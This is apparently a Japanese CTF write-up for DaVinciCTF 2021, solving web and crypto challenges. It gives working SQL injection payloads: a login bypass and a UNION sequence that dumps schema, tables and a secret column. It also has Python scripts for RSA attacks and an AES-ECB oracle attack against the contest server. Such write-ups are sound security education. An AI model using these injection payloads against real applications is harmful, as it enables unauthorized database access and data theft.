DaVinciCTF 2021 Writeup

この大会は2021/3/13 1:00(JST)~2021/3/15 1:00(JST)に開催されました。
今回もチームで参戦。結果は711点で418チーム中27位でした。
自分で解けた問題をWriteupとして書いておきます。

Authentication (Web)

以下を指定して、ログインする。

Username: ' or 1=1 -- -
Password: a

HTMLソースを見ると、フラグが書いてあった。

dvCTF{!th4t_w4s_34sy!}

Members (Web)

SQLインジェクションで攻撃する。

■ZZ" union select 1,2,True -- -

Name	Address	Payed
1	2	True

■ZZ" union select 1,schema_name,True from information_schema.schemata -- -

Name	Address	Payed
1	information_schema	True
1	lajoute	True

■ZZ" union select 1,table_name,True from information_schema.tables where table_schema = 'lajoute' -- -

Name	Address	Payed
1	members	True
1	supa_secret_table	True

■ZZ" union select 1,column_name,True from information_schema.columns where table_name = 'supa_secret_table' -- -

Name	Address	Payed
1	id	True
1	flag	True

■ZZ" union select id,flag,True from supa_secret_table -- -


Name	Address	Payed
1	dvCTF{1_h0p3_u_d1dnt_us3_sqlm4p}	True
dvCTF{1_h0p3_u_d1dnt_us3_sqlm4p}

Decode (Crypto)

uuデコードする。

enc = '''begin flag.txt
59\'9#5$9[=S-B7S-N8W)Y<#<Q,&Y]

end
'''

flag = enc.decode('uu')
print flag
dvCTF{w3b_3ncryp710n}

Bootless RSA (Crypto)

eの値が小さいので、Low Public Exponent Attackで復号する。

import json
import gmpy
from Crypto.Util.number import *

with open('bootless_rsa.json', 'r') as f:
    data = f.read()

json_data = json.loads(data)
e = json_data['e']
c = json_data['ct']
m = gmpy.root(c, e)[0]
flag = long_to_bytes(m)
print flag
dvCTF{RS4_m0dul0_inf1nity}

The more, the less (Crypto)

Nを素因数分解する。

$ python -m primefac 31599415905194296507531163994468257280886159280045654346389430217405819290199334738577568528414824952061262558727052291045816515870348057534996441596560396962516719727878569643953152119895297353348080193869479088114850667155373326828408666807238584625432868509009967976378084883283066242914464294233411627
31599415905194296507531163994468257280886159280045654346389430217405819290199334738577568528414824952061262558727052291045816515870348057534996441596560396962516719727878569643953152119895297353348080193869479088114850667155373326828408666807238584625432868509009967976378084883283066242914464294233411627: 2715012803 3898886171 3068856233 2903526499 4068148789 2823467653 3910833851 2367104263 2152978987 4014542803 3391790461 2178670709 3852924077 3165948211 2563604567 3613621433 4029819973 3592739747 3989645813 3961066927 4024893437 2989253341 3876487189 3890394553 4226418397 4130412409 2571500203 2788319507 2292487361 3035960167 2936894063 4109794417

あとはそのまま復号する。

import json
from Crypto.Util.number import *

with open('supersecret.json', 'r') as f:
    data = f.read()

json_data = json.loads(data)
N = json_data['N']
e = json_data['e']
c = json_data['ct']

ps = [2715012803, 3898886171, 3068856233, 2903526499, 4068148789, 2823467653,
    3910833851, 2367104263, 2152978987, 4014542803, 3391790461, 2178670709,
    3852924077, 3165948211, 2563604567, 3613621433, 4029819973, 3592739747,
    3989645813, 3961066927, 4024893437, 2989253341, 3876487189, 3890394553,
    4226418397, 4130412409, 2571500203, 2788319507, 2292487361, 3035960167,
    2936894063, 4109794417]

phi = 1
for p in ps:
    phi *= p - 1
d = inverse(e, phi)
m = pow(c, d, N)
flag = long_to_bytes(m)
print flag
dvCTF{rs4_f4ctor1z4t10n!!!}

Flipping tables (Crypto)

$ nc challs.dvc.tf 3333
What do you want me to encrypt? 12
!E(input || flag) = d79e40d60c7b243edfcddab83f9b4c11943ea9cb6e8ec05f3d0890f044486626
What do you want me to encrypt? 12
!E(input || flag) = d79e40d60c7b243edfcddab83f9b4c11943ea9cb6e8ec05f3d0890f044486626
What do you want me to encrypt? 11
!E(input || flag) = b9d8e21a9dcfea81b4a6f46e526eb51f943ea9cb6e8ec05f3d0890f044486626

AES暗号っぽい。いろいろ試してみたが、|| の意味は結合らしい。

$ nc challs.dvc.tf 3333
What do you want me to encrypt? 11
E(input || flag) = 46271de56230157e4b590b91ad914ae06bc1563491713fa0c2f76f0fbbb799d9
What do you want me to encrypt? 1111
E(input || flag) = 8a388a50f14b80c594ff57fe7c41116c322b94a315b8f8ad9329a3df83ee4099
What do you want me to encrypt? 111111
E(input || flag) = 8449427d652613adbe17d0e3f34ad5ffc5da9bdd873ec94497f42055a1aa378b
What do you want me to encrypt? 11111111
!E(input || flag) = d8b878d9ac8b6337c8bd024eda5041c9285c62eeae837003ed5214d29f1e4ed3
What do you want me to encrypt? 1111111111
E(input || flag) = c51139c77339f310e818036105788d2c79880fc0f5dcbf6f3d1a6c21d1c76592
What do you want me to encrypt? 111111111111
!E(input || flag) = 5b8e50363f3f4edcd06e94df8b506fad35b676fbc0f34ed0d1ce1d0f5b9b6fd0
What do you want me to encrypt? 11111111111111
E(input || flag) = 8b26284e299b0322665fff2da4d054ffce600258fc4008600bc6a1aeb7ea22a0
What do you want me to encrypt? 1111111111111111
E(input || flag) = 0ea3efaef202ab81f6c71da214a5ddbbfb08b408dcc9910df47f90788438186d
What do you want me to encrypt? 1111111111111111119バイト入力
E(input || flag) = 1720e8e63e54ae45ea4eaf0435c8ac2118f77807d91f685f7c9ec14b59a479d9155075db7f6ceeafd3d4db2a44eae98048バイト
0123456789abcdef
IIIIIIIIIFFFFFFF
FFFFFFFFFFFFFFFF
PPPPPPPPPPPPPPPP

0123456789abcdef
IIIIIIIIIIIIIII?
IIIIIIIIIIIIIIII
IIIIIIIIIIIIIIIF
FFFFFFFFFFFFFFFF
FFFFFFPPPPPPPPPP

Eの前の!の意味は何だろう?同じデータを入れてみる。

$ nc challs.dvc.tf 3333
What do you want me to encrypt? 11
E(input || flag) = 46271de56230157e4b590b91ad914ae06bc1563491713fa0c2f76f0fbbb799d9
What do you want me to encrypt? 11
E(input || flag) = 46271de56230157e4b590b91ad914ae06bc1563491713fa0c2f76f0fbbb799d9
What do you want me to encrypt? 11
!E(input || flag) = b9d8e21a9dcfea81b4a6f46e526eb51f943ea9cb6e8ec05f3d0890f044486626

どうやらビット反転したもののようだ。ただ同じ暗号文の中で比較するので、このことはあまり考える必要はない。以上を踏まえて、1文字ずつフラグをブロックからはみ出させ、暗号を比較し平文を求める。

import socket

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

def is_success(data):
    enc = data.split(' ')[-1]
    bl0 = enc[:32]
    bl2 = enc[64:96]
    return bl0 == bl2

INP_CHAR = '11'

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('challs.dvc.tf', 3333))

hex_flag = ''
for i in range(23):
    for code in range(32, 127):
        if i < 16:
            try_inp = INP_CHAR * (15 - i) + hex_flag + hex(code)[2:] + INP_CHAR * (31 - i)
        else:
            try_inp = hex_flag[-30:] + hex(code)[2:] + INP_CHAR * (31 - i)

        data = recvuntil(s, '? ')
        print data + try_inp
        s.sendall(try_inp + '\n')

        data = recvuntil(s, '\n').rstrip()
        print data
        if is_success(data):
            print hex(code)[2:]
            hex_flag += hex(code)[2:]

flag = hex_flag.decode('hex')
print flag

実行結果は以下の通り。

                :
What do you want me to encrypt? 43425f346e6772795f307234636c337a111111111111111111
E(input || flag) = 20ab86b4948dc09c3cd474a376f9f6731720e8e63e54ae45ea4eaf0435c8ac2118f77807d91f685f7c9ec14b59a479d9155075db7f6ceeafd3d4db2a44eae980
What do you want me to encrypt? 43425f346e6772795f307234636c337b111111111111111111
E(input || flag) = f6d3d3200bba0f9463c481e41deb7c571720e8e63e54ae45ea4eaf0435c8ac2118f77807d91f685f7c9ec14b59a479d9155075db7f6ceeafd3d4db2a44eae980
What do you want me to encrypt? 43425f346e6772795f307234636c337c111111111111111111
E(input || flag) = ddb1318dd23239632a5cf33809ac9a8c1720e8e63e54ae45ea4eaf0435c8ac2118f77807d91f685f7c9ec14b59a479d9155075db7f6ceeafd3d4db2a44eae980
What do you want me to encrypt? 43425f346e6772795f307234636c337d111111111111111111
!E(input || flag) = e70887f826e097a083613eb4a65b8626e8df1719c1ab51ba15b150fbca3753dee70887f826e097a083613eb4a65b8626eaaf8a24809311502c2b24d5bb15167f
7d
What do you want me to encrypt? 425f346e6772795f307234636c337d7e111111111111111111
!E(input || flag) = e1100d1faed652115d3d0a898b7e166de8df1719c1ab51ba15b150fbca3753dee70887f826e097a083613eb4a65b8626eaaf8a24809311502c2b24d5bb15167f
dvCTF{3CB_4ngry_0r4cl3}
dvCTF{3CB_4ngry_0r4cl3}